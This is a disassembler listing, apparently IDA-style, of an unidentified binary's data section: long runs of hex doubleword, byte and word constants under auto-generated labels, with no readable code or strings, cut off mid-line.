7389CB73h dd 62CDEE43h, 2278C687h, 8612657h, 169F08BEh, 6205C5DFh dd 1424BDDBh, 8BC81CBBh, 0CC3EDE77h, 7DCD9399h, 0C390CF1h dd 0D3B81002h, 1CEBB3E1h, 0BE80575h, 0EB30A303h, 0CF6CE04Ah dd 0DD56D866h, 0C9410D12h, 204356CCh, 3C6BAF49h, 522516h dd 52035D41h, 2F9A490Dh, 5F1B0073h, 5B4E5700h, 240524C1h dd 0DC08D110h, 50701BA2h, 305E8D7Ah, 4566538Ah, 0FC45BBA1h dd 0FA05000Ah, 0B5D9F33Bh, 972B90Bh, 0CF0121Ch, 0E6CD0EF2h dd 7EF464F3h, 1AEA18E8h, 0C6FF8EECh, 0D7F88B5Eh, 2175C084h dd 140C45ABh, 59270F82h, 33207E8h, 236C2335h, 564C363Bh dd 0EA48418Ah, 5B9103F6h, 2C211BBh, 0C063F0Bh, 0C8F3E488h dd 0E1A10E7h, 0C018D814h, 0F9E41C0Bh, 2079F9F9h, 7C24103Eh dd 0CC82813h, 1C0D9A2Ch, 766385AEh, 3A5D0284h, 0A6685CCh dd 144ADDFDh, 0ADEED62Ch, 8B1E641Bh, 0A17C2003h, 7890E68h dd 0F9F4FE42h, 780804D8h, 0EB3D8904h, 3E42C606h, 0A75B01B0h dd 7F2E9142h, 832F00C7h, 9C6B5D8Eh, 344B1806h, 0D9422259h dd 2C0B6BDEh, 1863031Ch, 9BB4389Fh, 0DE02EB3Ah, 0BE56B58Fh dd 878CF709h, 4CCEDF58h, 0B60C5CA2h, 93319BDBh, 4B584EB8h dd 610C7D83h, 0C190FF21h, 3E7883D2h, 0CE2E9D75h, 40C71EEBh dd 0B1157E18h, 155603A7h, 0D22F3520h, 2A5E78E0h, 2184059h dd 0F7CC7810h, 50AB527Eh, 60158A18h, 2EB2A06Dh, 854A22F6h dd 58735672h, 0EB53C68Ch, 36B2A274h, 0C631ECEBh, 0DE56DD1Ch dd 6285E75h, 37DEC86Ch, 28340CAAh, 0C36B7258h, 0F85DE223h dd 83E04E57h, 68C0B511h, 0D2FC728Fh, 0FBC52E79h, 8FE4B7E9h dd 5EB7B54h, 8D72B860h, 0C556456h, 0BFDB7F74h, 0EB367F89h dd 647E80F0h, 684E3700h, 60518B53h, 5A6A418Bh, 0E91B5230h dd 0AFFB810Ch, 0DAE0708h, 0A285C0A9h, 375D8CFh, 0F4ADB22Ch dd 105866A5h, 428B18B8h, 0C8070B08h, 73483495h, 30FCA95Bh dd 0EB1EEC18h, 0D08A1029h, 4617DCDh, 2E0AB5Ch, 4CFEBBD4h dd 190F0977h, 3F5F2CF8h, 2C41E353h, 0D8FC480Fh, 0FCAEDB85h dd 0F1D5DFFFh, 81102955h, 10008FAh, 8D477540h, 7B8D0E71h dd 0A566A524h, 5B10288Bh, 300715ADh, 542B765Ch, 69F3DE90h dd 19C46383h, 1DAEDB30h, 201A0CEBh, 0EDC1F612h, 9660DD6h dd 14076604h, 0B2920A1h, 0ED9E95DDh, 94E36EBh, 0AB4DD618h dd 2BDBAB66h, 2A07F335h, 1F42F63Eh, 56CED80Bh, 0C271430h dd 0DB1A93EDh, 0A11947Ch, 0BC525114h, 0C3DDDC38h, 930CE0DBh dd 8D3D10AFh, 2961470h, 0D3330807h, 8D5967D9h, 2A1C87DEh dd 55908B21h, 216FB205h, 0D771057Bh, 22EB5850h, 0D03FDB20h dd 921B0F06h, 8330528Bh, 4C50F121h, 4CB87E16h, 3C503769h dd 833C0451h, 0F8522325h, 3A009980h, 0AF4F2318h, 0D33CECACh dd 0CF0BF18Bh, 5109F1Dh, 88F93BB9h, 0A5FCF096h, 32943B60h dd 8D5280C7h, 7D3BC478h, 7CA25F0Eh, 40970040h, 0FC3C478Bh dd 8499E869h, 6CD30870h, 5A1DA857h, 1CFEE703h, 41D88FE3h dd 528AD772h, 18EBD72Ah, 61708C31h, 3D200F24h, 0DF24770Ch dd 0BE0C2F09h, 48A73FF4h dd 0BEEFE337h, 89CF4AF4h, 0DCB8F77Dh, 0B6FB5B3Ah, 118F8B6h dd 0F6FCE7B4h, 9AD7E141h, 0B674FBBBh, 0B376F3A6h, 19481BEDh dd 7F839A3Ah, 0D051E244h, 16633661h, 1644D3C1h, 0D195B231h dd 0D8BE552h, 0A2BA28F6h, 1E56D3E3h, 0AA6076A7h, 74E02254h dd 7FFF61A3h, 6253A9F9h, 0C14D8B3Ah, 0D285118Bh, 0C28B0674h dd 0F6EB108Bh, 16C6E083h, 0B4F47BAEh, 0EB0AA853h, 58EE2F8Eh dd 0CA64B2Dh, 801A2083h, 29747682h, 14A0CF13h, 5EA8451h dd 5638C390h, 3F964D42h, 6BEFEF14h, 99FF0BF7h, 6BAD086h dd 5060460Ah, 7BC637Ch, 39868CBBh, 0B3D3BAA8h, 10E334F4h dd 2464670Ch, 0A7923CA2h, 0F0772321h, 0F86C0313h, 5C7BDC5Bh dd 3FF0D6Ah, 8B19755Ah, 112C4BA5h, 0A750A17Ch, 722D7744h dd 0FB5BE519h, 30667B6h, 1CEB2A4Bh, 0A731859h, 76CF488Bh dd 77CEF823h, 4F057314h, 401D13EBh, 1AD02D08h, 232C66B4h dd 0DC1BA9EBh, 2C0BD5EAh, 3602148Bh, 39C1F67Bh, 0C16BBA67h dd 1084108Fh, 0D85F13DCh, 8B336DCh, 762018A5h, 207D027Fh dd 5F2D2DF8h, 65831404h, 0FE6234F4h, 0BF0D76FFh, 688940DBh dd 0D950184Dh, 7D39C33Dh, 6097731Ch, 0C7EB1BE8h, 0B11C452Bh dd 3AB04BA2h, 404321FDh, 7C3873FFh, 9EC567DFh, 8A2446ECh dd 99274053h, 0D7F80F8h, 528B800Ah, 0F4752BBAh, 7815B2C9h dd 3BC24C4Fh, 580EC34h, 26403636h, 0D81D6634h, 5E247565h dd 68EB5EB3h, 0A16B41BAh, 0C9856846h, 55C0C137h, 4FEE51D8h dd 49F17983h, 6152E1A9h, 8492574h, 59B28954h, 0E7C5CB63h dd 0B7814E2h, 0F80FDA85h, 1C608014h, 364C781Ah, 0A5F62155h dd 0A5F302E0h, 0F303E182h, 0D2701DA4h, 442F600h, 1A107C8Dh dd 7DB073Dh, 18B334FCh, 4D486083h, 694408CEh, 2517631Bh dd 55CF8388h, 0B9258B10h, 8DF01FBBh, 3C4A7383h, 40428911h dd 133ED405h, 0B3C691Bh, 2D08C1A0h, 0AFB63087h, 24CE2E93h dd 0AEF477F4h, 0C0999A23h, 448D83C1h, 85E4C08h, 291F4306h dd 36707526h, 0F2D920D8h, 0ECE8EFE8h, 6C3E3874h, 514848E9h dd 0DF1CA27Eh, 73F46EE6h, 2E54535Ch, 482C4434h, 0A95588DBh dd 0BF208E44h, 156D2770h, 0D0B3F73Bh, 3C39710Ch, 5BA4743Ah dd 0DFA6CC37h, 49D34160h, 46B2C340h, 8BC4D83Ah, 0AAD60235h dd 0C34200C8h, 8BAD79Eh, 34068CD3h, 376B29D6h, 2C643F4Ah dd 0EB30F09Ch, 1C16B805h, 2CD02320h, 84091CE1h, 8308716Ch dd 94041534h, 0CCF2388h, 0CA57269Ch, 2342CF6h, 0C315709h dd 0C1C1533Fh, 1B75E95Ah, 35DB14EBh, 0D98BC0ECh, 2075BEACh dd 0A572DA2Bh, 83571393h, 0F8FBA4D8h, 1054DA12h, 2B74522Ch dd 0D9F16102h, 0B02DCDB4h, 6CB23C75h, 3C6DB659h, 282C0230h dd 0B06EED24h, 10748587h, 2D2CE62Ch, 5AADC62h, 0D083511Ah dd 9D6F823Ah, 28BFFD09h, 4FB70FACh, 9AF52802h, 0D728FA46h dd 63610E3Dh, 0F65BC64Bh, 399D21BBh, 95AA028h, 80E15B7h dd 63118134h, 1DE5D6E6h, 830A021Fh, 9EEBB5CAh, 168AB58Bh dd 20155960h, 0CC4388E6h, 3BE0011Ch, 0C06F6D80h, 890B7189h dd 0C9180459h, 61D81378h, 0C857CA4Fh, 48701B22h, 72078B15h dd 0D8C45C13h, 0B04B9436h, 6CB22F03h, 0A72D1BDBh, 56A1842h dd 0C47E5A20h, 883BEDADh, 81048B34h, 5C7EC23Bh, 8DF423B3h dd 368EE57h, 0BE530B74h, 0E75681E9h, 0E4403C1Bh, 8FFD1539h dd 0F8503E8h, 22378B25h, 0A13D6A8Eh, 0A2586177h, 1A00059h dd 0A8D4B38Bh, 0EF8DDDECh, 0DC89058Bh, 43240FEBh, 211C6A60h dd 0B01B7ED0h, 3990BEDAh, 66CEBF31h, 8A156A37h, 0EC631675h dd 0F0333BB9h, 0EC6E231Dh, 738B7136h, 6418354Dh, 574D7709h dd 5968DE7Bh, 300558B6h, 30B4544Ch, 2E461B18h, 0C18D6CBh dd 0AE545C48h, 79EC1950h, 125C3459h, 1DB7541Ah, 0DBBAFFEh dd 9D8C90E8h, 53890405h, 4800C744h, 7D2BA31Ch, 3B01291Ah dd 293BEC6h, 18EA44DBh, 7B43C770h dword_4439A4 dd 631E5306h db 0B7h, 10h, 22h byte_4439AB db 0BAh ; DATA XREF: sub_449577+3o dd 0C03EA48Eh, 63B96F5h, 34214CC6h, 0E512840Ch, 6130B9A0h dd 48845D14h, 0D721BB35h, 0E2A3526h, 0C90729E8h, 0B259F758h db 0A6h dword_4439D5 dd 6B570A78h db 91h, 68h, 84h dd 1875B58Ah db 7Bh dword_4439E1 dd 0DE006E0Fh dword_4439E5 dd 6FD40A29h db 1Ah, 6Ah, 1Bh dd 59107A8Dh, 0E02C9F07h, 0E14D1858h, 7C06BFF3h, 9C92E1Dh dd 984E1051h, 3700A050h, 43B7991Ah, 6B863232h, 0CFC4632h dd 0A64D4DCEh, 0A360398Ch, 0AB4665Bh, 0D6DB632h, 0AA640AD7h dd 7A084A31h, 0D8FB7759h, 664AD1DEh, 14AAE0CAh, 8571324Bh dd 118142C0h, 939C0C68h, 47AB5FA8h, 8F0C605Ch, 428E14B9h dd 84F2D3CBh, 19315300h, 800E843Bh, 8A605CBBh, 6ECCEC27h dd 66E290A4h, 4E5C8D80h, 4145670Ah, 8897C46Eh db 0, 0FAh dword_443A76 dd 25300C88h dw 8191h dd 1D1038ECh, 25CC2BC4h, 7BF1257h, 0B9AECD68h, 0BAFF3304h dd 80D9E6C3h, 0DCDAD896h, 6C9EFC04h, 0C8123B3Eh, 0CC0ECA0Ch dd 0B18D010h, 0D27CD991h, 0F820D41Ah, 0D0289466h, 13E0036Dh dd 0FD22CE2h, 1740D5D4h, 3056A253h, 656DA008h, 8D57C228h dd 5B61995Dh, 1ED6A736h, 0C81C80Ah, 0CB21B758h, 0C83BD011h dd 8B7D0500h, 3B180F6Ch, 3DB611D8h, 2284788Ch, 1F6F3FEEh dd 0B809ECBAh, 8DF82004h, 0E7C17F0Ch, 0C42DB419h, 21C448EEh dd 0DC0744D5h, 0ACE877F4h, 773A56EFh, 818953BFh, 0DC608D45h dd 0B541D106h, 8C00F6E0h, 17A096DEh, 8BE04D5Bh, 0C1287D31h dd 99A04581h, 0B9A2AFACh, 0DFFF4BBh, 0FF50BAB6h, 73738DC2h dd 2E8932B8h, 0DF006A9Ah, 0B5F87A8Dh, 6675B6E5h, 8830DF8h dd 2EC0304h, 0D68E96FBh, 279D06F4h, 1BE90114h, 6E6DF0B4h dd 7B85B217h db 37h, 5Eh dword_443B72 dd 460014F0h dw 19B9h dd 150CFF1Eh, 0A00CFEEEh, 0CABBA093h, 0E35F3889h, 1C31C651h dd 0E2797BD4h, 8B8C6C6Ah, 0F4D7371h, 591B0FE0h, 39A32CD3h dd 21C363A2h, 1A1EFBC3h, 5AD1130Ch, 0D71282Bh, 41828C14h dd 83642673h, 750EBA43h, 0A80EE017h, 35978308h, 0D5B9C38h dd 0F893904Ch, 481A9BD2h, 147B8128h, 75FCC401h, 34ACB807h dd 0EB2AA6D8h, 0B9574637h, 5278A445h, 0C053093Ch, 1BD5304h dd 8740735Ah, 4CD9682Fh, 0FDC468F1h, 6A5F9BBDh, 8BBF3B1Dh dd 0A354BE4Ch, 14798193h, 0A17F06h, 8D6D01AEh, 0DC388120h dd 0D0057605h, 1B1B6854h, 5E2C0600h, 9DDD3C72h, 5D142FA3h dd 28302966h, 584A1911h, 6EA9C9Bh, 11BA5821h, 71516406h dd 0E0EE818h, 7F674970h, 7F080211h, 0E085589Bh, 7427057Eh dd 211D284Ah, 4D10B952h, 49C87A8Dh, 0C76687Dh, 8414468Ch dd 7EA43957h, 5F182BABh, 8B104689h, 0C0E07C1Eh, 8156150Fh dd 551DFAC3h, 0FF87B95Eh, 83560721h, 0ECEB60C3h, 0ED519AB8h dd 4B181995h, 825373D6h, 0CCD57E74h, 0E43457DAh, 0B89A577h dd 76320E83h, 8D47AA43h, 0FF477F47h, 0BEC9036h, 40F180CCh dd 81478918h, 97078783h, 9E7C579Eh, 2DBD6057h, 8750AC5Ah dd 7D68B43Eh, 0A3909805h, 663C6B3Ch, 0F06E81E0h, 0FF04C683h dd 49937579h, 18BE450Ch, 58102D32h, 0D8901EF6h, 0BE9C712Ch dd 0D8B4650h, 0BFEED048h, 147D0DFFh, 9B8D08Ah, 1588C83Bh dd 55740754h, 1A2DFF06h, 0C459EF3Eh, 0DF3B098Bh, 1314F375h dd 0D61B944Dh, 6F9B5379h, 8C359E97h, 754C56F9h, 44F01E47h dd 4B541038h, 4503E158h, 0DE1A5718h, 0CA06C3C4h, 125FDD7h dd 0F7502534h, 1CEB9710h, 102E1816h, 8733D58Ch, 0D1264492h dd 553AB618h, 40081483h, 5A142F8h, 0B1CAA92Fh, 70BFD0EAh dd 75899CABh, 8DF2507Ch, 55890E4Eh, 1B7558EEh, 3D35E6EDh dd 5B80A5Ah, 83B08295h, 8C49BA80h, 7B99C51h, 558101C1h dd 597860Fh, 483A09Bh, 8EEA4E8Fh, 0C0E52A74h, 350F607Eh dd 1F1A7480h, 162ACA06h, 53270AA3h, 0F7C02A89h, 0C9282654h dd 7461E177h, 0F4469E4Ah, 649D1274h, 388C58A9h, 0E0F45847h dd 0F40064B7h, 430C4F30h, 8DCA5598h, 7827D027h, 3DD7BA1Fh dd 4CA1BCA2h, 2A7A0310h, 45C7A942h, 0A84081E0h, 14B0DD08h dd 76E58A54h, 72D6DF8Eh, 0FF2DA337h, 6A1FB9D3h, 47B42E0Eh dd 0A238F34h, 0C51E41D6h, 21ADA256h, 10873159h, 0B7805736h dd 4BD1C6Eh, 4450150Fh, 7F3AD737h, 0FA0C0951h, 0A266D0B0h dd 53048A99h, 0BE87D54Ch, 0C25A9037h, 0FFD3A46Fh, 0D10C7B2h dd 0EB343AC1h, 5152521Fh, 6A78C1D9h, 0D951387Dh, 0C9083056h dd 53BF030Eh, 1FA53456h, 0E00225h, 27E78CB0h, 3AA1D41Ch dd 6DBF80E5h, 31EA3C2Dh, 68870F0Bh, 0C60F3DCh, 0D9477188h dd 10395F04h, 1A4D985Ah, 0FCD008AEh, 86D78123h, 11FC590Ch dd 9C8726F0h, 0F8E4420Ch db 0FCh dword_443EA1 dd 812B3BFCh db 2Dh, 3Ah, 5Dh dd 0E155D28Fh, 0C00C61Eh, 0C9D82C4Bh, 0C81C80Ch, 93DD0808h dd 1463E591h, 8F8080Fh, 0F25388E4h, 0F84E8BF8h, 6803B38Dh dd 0DB93E21Dh, 83880855h, 5E599BA6h, 0D42A0F9Ah, 4A890842h dd 1C019E08h, 147111AFh, 19B82B65h, 45E9926Fh, 0D5C70C7Fh dd 0C803D620h, 0D2C2454Ch, 0F3E010F2h, 0C7E38BAh, 3941E77h dd 31089F21h, 2162CB11h, 0D48A1721h, 7EBE2156h, 7C503909h dd 0D8F3C934h, 0DA2D73C2h, 0C0177F04h, 9C481EBEh, 74CEE144h dd 7091D90Dh, 0E36F897Bh, 0B89374C2h, 0C203B67h, 0F350874h dd 0ECAB7736h, 58D8EB8Fh, 219F0A96h, 1F07B299h, 41124143h dd 5C25810Eh, 6D93FE0Fh, 775981F4h, 58604303h, 90C197D7h dd 76CCC334h, 0D9B0AF44h, 0AF6D3B21h, 1AA3EC98h, 5C009A40h dd 3DEC7509h, 4E158468h, 90EDB75Dh, 264A161Ch, 362E3B0Ah dd 8B19A69h, 0CDEF29Bh, 0C90C6DF3h, 1B0D2901h, 3491A758h dd 0DBEFDB93h, 0C298473Dh, 0F586E944h, 0E44308Dh, 2D1669CFh dd 0E30C992Ah, 0C0755314h, 773B8DDh, 7E806014h, 1A4E7572h dd 56E82ED2h, 0D2333987h, 79307495h, 0C4B1CA0Ch, 0B94DC048h dd 0B7F76F4Dh, 588B167Ah, 811058ECh, 4C0FFFE3h, 8060B8Ch dd 9B1B6F75h, 0D1037E0Ch, 1ED24A47h, 0E82DF56Bh, 89B9147Eh dd 9246C616h, 78FDB85Ah, 1454053Bh, 0C8DE03EBh, 19764948h dd 5A75235Ch, 10580192h, 0B76B2A3Ah, 0FC8C366Fh, 83EA754Fh dd 66807966h, 24B61986h, 0C2521B50h, 0B6183C17h, 0BA0217C4h dd 105D3956h, 2BCB1871h, 34C17D9Fh, 8CE083Eh, 0DF45718Bh dd 615D759Ch, 0D214D375h, 59385814h, 5B50751Ch, 41C16DBBh dd 0CEF85D1Dh, 6FDF0804h, 0F3CE6A97h, 1481450h, 0D33BF855h dd 476B5AD2h, 18EBC84Eh, 0CEA1394h, 0A5A6D423h, 0FFFAB6EFh dd 0D3CAEBB3h, 8F142139h, 6F61FDFAh, 41C60405h, 46F616D6h dd 0CDC0506h, 8AE75BEBh, 8EF84A87h, 0C06056E4h, 6C5AE6E5h dd 0ADE114A8h, 0AF0089AAh, 6B77DDB2h, 3B368B2Dh, 7C74A5F3h dd 0EDCFEB3Ch, 3E754B77h, 72553D74h, 8B027714h, 6E0629C2h dd 2BDF0BB7h, 970413D0h, 744DA4EBh, 76101BA0h, 0D686172Bh dd 0F3DB04EFh, 0DB6B3DD2h, 0D9AD0368h, 0CB270CD4h, 9AB41229h dd 0C22A18ABh, 0BB48202Ch, 11586DAh, 4E863711h, 0C243B54Bh dd 8714CAAAh, 1F6F4665h, 6A57BDABh, 8B145906h, 40B856FEh dd 91B410E3h, 0CC2D0D29h, 0A3EECD6Ah, 14A06DC4h, 2B61566h dd 0E08812B3h, 50620241h, 533C50D7h, 0CEE029Ch, 1EFE6FCCh dd 66087E8Dh, 59C01FD0h, 0E8EB4654h, 8069568Ah, 0CE0F7ADBh dd 3114E52Eh, 0D6CCE7BDh, 0F454061Dh, 0D81E6820h, 0B0CF642Dh dd 101D619Dh, 0A91A6500h, 5A554036h, 54B4BDEEh, 0FD6F462Dh dd 2CB7FE34h, 0F98C8CA0h, 0ED6FF39Fh, 9AB854D6h, 273FF9D1h dd 0C03EDA75h, 5F82078Eh, 5393513Ch, 0E42D4B8h, 5BAB3717h dd 6ABABC57h, 49BE721Bh, 36DF87B2h, 0B6803F7h, 1FC0F919h dd 3C8C020Bh, 0D2C44647h, 888EC800h, 0CC8CFC18h, 0ED02CB85h dd 0F803C68Dh, 0C19C36B3h, 456C1A24h, 0BD63061Bh, 9A3F1781h dd 770127D1h, 42987E4Dh, 0B06F908Bh, 33FBBD40h, 14C1830Ch dd 0B6CDE9F7h, 8853A8F1h, 756E0F45h, 84473314h, 74477DB3h dd 170F4D8Ah, 0F62032A4h, 62257031h, 0D052B1AEh, 80B806BEh dd 9B3646Dh, 1F29A381h, 0FB1DB270h, 0E80C7982h, 43D1CE49h dd 524194BEh, 6A705B53h, 0E0A45574h, 7E08B1B9h, 0BAF89E14h dd 1CD06D5Bh, 1122C420h, 206023F6h, 0E0E82B76h, 305D8C7h dd 0EF178018h, 6CE51E89h, 76C0F02Fh, 0FB3B8E90h, 0B7D1B771h dd 0E39A0247h, 2B548F7Bh, 0FD5A9F8Bh, 880C97CCh, 0B020887h dd 0F012D83Bh, 2223351Eh, 284619EAh, 4BEC64D4h, 22F31AF5h dd 8021424Ch, 3320531Fh, 111735Bh, 8859683h, 8158819Ch dd 0D0431C06h, 0B36216D1h, 1E4B4D99h, 4646D4BDh, 0D8FC4646h dd 161FDC94h, 0B30D46F6h, 8D69A5CBh, 0BF61EFBDh, 4D89C78Bh dd 0BF188BC5h, 81A305BBh, 0CC7EA257h, 0A508EC65h, 3DCA9411h dd 263E3789h, 6C1B9D6Fh, 0EC0F1A49h, 31FFB602h, 35B3AB68h dd 41500611h, 5EF7FFF0h, 8303FB6Ch, 0F093A227h, 3FBFA559h dd 0B7398840h, 0FE1A53ABh, 833FFFFh, 4A8A21B3h, 0A90249Fh dd 57E94385h, 212DC646h, 99EBB054h, 16D171Fh, 88B2970Eh dd 31756D3Fh, 48051E3Ah, 0C689898Ah, 4848516Ch, 0FFED8BF5h dd 46E27992h, 6B38BF02h, 0D78A3030h, 3435EE6Bh, 810C0506h dd 0D939768Ah, 0BB3CCF0Ah, 231C03F3h, 5ADEE11Ch, 6A05FE56h dd 7593A3ACh, 40A1933Bh, 13291B31h, 8200B45h, 46CE14A3h dd 0C38BFBADh, 92C1234Bh, 70143CA6h, 946CA136h, 6C2EFBC3h dd 8AE742B6h, 3D8AA172h, 0CD86DA04h, 0D04BF6C4h, 54F28B8Ah dd 0E1330060h, 0C34A655Ch, 4C35806Fh, 4D389049h, 27B0D988h dd 4E06C7DEh, 0F73F3023h, 81010660h, 3C05F552h, 20111836h dd 0C36245C7h, 80C03240h, 1A4CF488h, 0C7B0EBA2h, 91598C47h dd 6C128365h, 0D8721C4Dh, 0F0A02F6h, 0C2123C74h, 6B57DAB3h dd 0CD960E10h, 8083E03Ch, 85D8074Fh, 0B4D1E0Eh, 0B947B83h dd 7C0F0854h, 1EE88F54h, 0BE2DE793h, 2521BBBh, 10053575h dd 47F61974h, 0BD0B8312h, 10759E00h, 87B5C6Ah, 0B86AC530h dd 0A7F366BBh, 570A758Fh, 145A539Ah, 28C00163h, 52325702h dd 2961B258h, 7B2CD0D1h, 0D0C639D3h, 8B717401h, 6419CC86h dd 4F274BECh, 0CD9E8D53h, 219086CBh, 868E1919h, 464EEF86h dd 5BCB960Eh, 13750154h, 5D25B157h, 0ACB656ACh, 0E6E7AB04h dd 7B015428h, 9102CC05h, 0C8919191h, 91BCDCC4h, 0B8919191h dd 81D0C0B4h, 0D4919199h, 2800E0D8h, 0FFC8C945h, 86EDE200h dd 0E9049EE8h, 86F000BAh, 0BFC22356h, 0FB362170h, 5A4DBA01h dd 3C708B0Eh, 0B454C603h, 41BC1C8Dh, 6F001006h, 6ED7C2D1h dd 5EE0EB38h, 221A0163h, 26FCBADDh, 0B179014h, 4A76F17Ch dd 71D7D7Ah, 0FADEE87Fh, 8AC2037Fh, 3ACB8A18h, 841A751Eh dd 588A30C9h, 715E0C01h, 5D5015BBh, 11464690h, 0A3FFE275h dd 5CF7605h, 4FD8401Bh, 2045831Bh, 0A6818302h, 3CC78B42h dd 0FC3B9672h, 7AB357C5h, 4A33BC72h, 6A2D20EEh, 0CAD8FF0h dd 2B00B70Fh, 455D8DF2h, 0B5B882D4h, 0DF810630h, 2BDAAA4Eh dd 410C53FAh, 31706164h, 52B5C800h, 40313F4h, 0FB0ED60Fh dd 6F743BA5h, 176C6F63h, 30191244h, 1752F453h, 78F14267h dd 5677C167h, 4B4D94D5h, 0C6480EBCh, 40912BBEh, 811D0CA9h dd 0E4562A02h, 0D55787F4h, 7870B0BEh, 3201638h, 157AECF2h dd 4E752D0Bh, 32C8B24h, 0A05DFA74h, 5DB0DFA3h, 0C3200FECh dd 4FFF3F53h, 1601220Fh, 0F486B62h, 50762051h, 56C14BD4h dd 68839E9Eh, 6A382D34h, 57DA3EA9h, 1CA3311Ah, 12B0F348h dd 1694205Dh, 85CF2048h, 60C2141Ch, 72177C87h, 7862EC18h dd 0CEB347A3h, 5B923E50h, 66B58889h, 71055E2Bh, 0E230122h dd 0FB67DE21h, 7F1745Fh, 2FA1E918h, 6F1463BBh, 53F95C7h dd 505C3D24h, 0D15BF7h, 764544h, 7630069h, 0DDC2895Ch dd 0B64876Dh, 7720073h, 9B75D7AEh, 30B611Bh, 3741D6Dh dd 5D631B72h, 8CDF203Ch, 17633B55h, 1F748DC1h, 9B216E65h dd 6DCF7D17h, 52ED4950h, 6F630007h, 0CC0DB642h, 5C0D6937h dd 9440B327h, 866CA911h, 0BDB43218h, 685CF0D0h, 50092EA8h dd 6809E25Eh, 0B281DA18h dd 0D4F72153h, 50125606h, 28261C4Bh, 0E25A865Ah, 0DA958308h dd 85B7F6ADh, 0AA58070Dh, 944D22C4h, 0FC685153h, 0D6EE6F3Bh dd 98209476h, 0DC89C88h, 6FEB006h, 3EE6E462h, 142F14B4h dd 0B6C0E0B8h, 8FF6DB2Dh, 0D002CC28h, 7E2057D4h, 3EE6880Ch dd 2F0C68E8h, 2F737940h, 1816C41Bh, 568B1E24h, 1DE6A38h dd 8B1BE215h, 59A146FAh, 0E0071AB8h, 16D16F0Dh, 920B8F7h dd 89345E92h, 8BF57002h, 8940F25Eh, 78464B86h, 0C1156354h dd 0B894FA22h, 47EECEFFh, 4586874h, 0FF0E6CA3h, 8648B8D6h dd 157CF3C8h, 0EA484C50h, 0C1D0F41Ch, 29CC6A53h, 6F4DECF3h dd 51833D73h, 2FF39659h, 0F0683440h, 0F07651F1h, 0F0980AC4h dd 0D0FA012h, 32D45314h, 4A06D97Ah, 30CC12D8h, 0E5333013h dd 0C3031D65h, 564430E0h, 0A0302A34h, 2B02B4C9h, 1F5064FDh dd 654B01C8h, 697053D3h, 0EA0C4C6Eh, 177451ADh, 0FB490121h dd 0FEDDAEFEh, 626D7953h, 4C631C6Fh, 394171Ah, 516C7452h dd 0B36A8975h, 49790DB6h, 55086107h, 3173ED92h, 0A895431Bh dd 642BB677h, 542B565Ch, 64506DADh, 29162D49h, 66FEAA6Bh dd 6F436695h, 656C706Dh, 0DB3E7164h, 0F3951B92h, 634200F7h dd 68A0C6C0h, 17FA5A4Ah dword_444804 dd 0F24DF6B5h dword_444808 dd 5D376E49h dword_44480C dd 257E3C45h dd 5E85FAA1h, 735002D7h db 95h dword_444819 dd 0B3B09F6Bh db 27h, 0BDh, 22h dd 6E416F54h db 1Bh, 8Dh dword_444826 dd 0E65176Bh dw 0EA33h dd 0BFF2644Dh, 4E7EB6C7h, 4D6D4D02h, 506B4CECh, 0BAD76761h dd 7B9AA802h, 66624FE0h, 7E03661Eh, 4DB3585Eh, 52B517D4h dd 0A1794214h, 41AACEDAh, 0EE780145h, 0D9F6C355h, 70795417h dd 5369F913h, 186DFF95h, 736F1A05h, 6C6E726Bh, 2E78652Eh dd 0B536D6E1h, 384B664Bh, 4F827361h, 0EFC97336h, 71634113h dd 50726975h, 42ED7708h, 4973DEDBh, 48AD7172h, 69613E0Dh dd 70B6BB33h, 44D40D7Bh, 5D65A370h, 0B14C4117h, 95517C08h dd 0B5DBC174h, 0AD556764h, 22DC1176h, 0E2DAA95Bh, 158B5074h dd 70DDCC27h, 42BDFEA8h, 19D46675h, 0E42581C8h, 6029332Ch dd 5F4B0E49h, 8D0C4572h, 41006DEAh, 0C5BD6372h, 0D6DAF685h dd 226EBAA3h, 0AB36EF33h, 69B7BC2Ah, 11F00AEh, 3DE4A033h dd 0E55ACF6Ch, 42744136h, 0B726256Fh dword_444914 dd 99802D92h dword_444918 dd 662B2B95h dd 65488DDDh, 3C797056h, 6422156Dh, 1D141587h, 491AF975h dd 2E0D891Fh, 0A1535953h, 0D5F14AC8h, 0B6188901h, 90072D17h dd 193001E6h, 0C95B4804h, 0C04F14B2h, 0D7431304h, 56B453C0h dd 45055F9Dh, 0D034CDEDh, 4FAB5340h, 8B055FB3h, 46B9FE78h dd 4BD4F0Bh, 6D03FEEFh, 452B26C3h, 473F075Dh, 7210B4EFh dd 31631901h, 6C341D73h, 697B744Fh, 74D6735h, 61AE839Bh dd 0D490D6Ch, 40232B66h, 3BAEB1BCh, 390334B9h, 64C76207h dd 751D75D0h, 2343171Eh, 14B0736Dh, 2073C80Dh, 0C1886181h dd 6B617418h, 339B20AFh, 0D13DF74Dh, 6F116307h, 3D927920h dd 0CF76E0C4h, 0C1531407h, 3DF6DC0Ch, 0F34F7953h, 9DD6375Dh dd 4B3354CFh, 6C056E2Dh, 0E066520Dh, 31C307BAh, 8DCF1375h dd 119EE61Dh, 44CB4715h, 44946315h, 70698DD7h, 6E2D6979h dd 0F7595B1Fh, 516849B6h, 53996521h, 0B9018905h, 560B0036h dd 1C2B5881h, 0EF324B97h, 0F3070585h, 3135C8D8h, 7002E37h dd 6665C44Fh, 61B774B0h, 0EBAF6ED5h, 71E790B6h, 1B4C2F29h dd 1B842967h, 930D0EEBh, 0A3678D79h, 0ECAE1021h, 1B2013D9h dd 0BA1AEB06h, 0BF3215A9h, 92D0530h, 0CEC26233h, 770C9B8Ah dd 2F0D3054h, 51646DC6h, 742672C7h, 576FB38Fh, 0B6B7D29h dd 0CC348D83h, 4F3E1FD5h, 6C096993h, 2FE76612h, 0A461EF6Eh dd 72EBAC1h, 0D205779h, 0E7C77550h, 576106C6h, 643FB942h dd 0BEE8C46Fh, 6F1F5C48h, 0EF43750Fh, 45258CA2h, 8BB3A77h dd 5B642123h, 0E7DEDFE1h, 53B746CEh, 0F5695F75h, 0C26C61D2h dd 561F44B7h, 87095D43h, 240056E8h, 0C27A6D84h, 7315B6E8h dd 9A3611Fh, 337FB004h, 315CD90h, 0C43380A8h, 0DF34D034h dd 0FFFFD55Bh, 0F34EE34h, 2A351B35h, 0A6353935h, 0D735D135h dd 32A7E035h, 0FF556FFAh, 8A366B36h, 0A4369B36h, 8A371099h dd 46381C37h, 0FFFFFF38h, 385F3A17h, 38E238C3h, 392838FEh dd 39453938h, 3965394Bh, 39D339B6h, 39F939E6h, 0FFFFFFFFh dd 3A403A39h, 3A4E3A47h, 3A5C3A55h, 3A6A3A63h, 3A783A71h dd 3A9F3A90h, 3AB13AA8h, 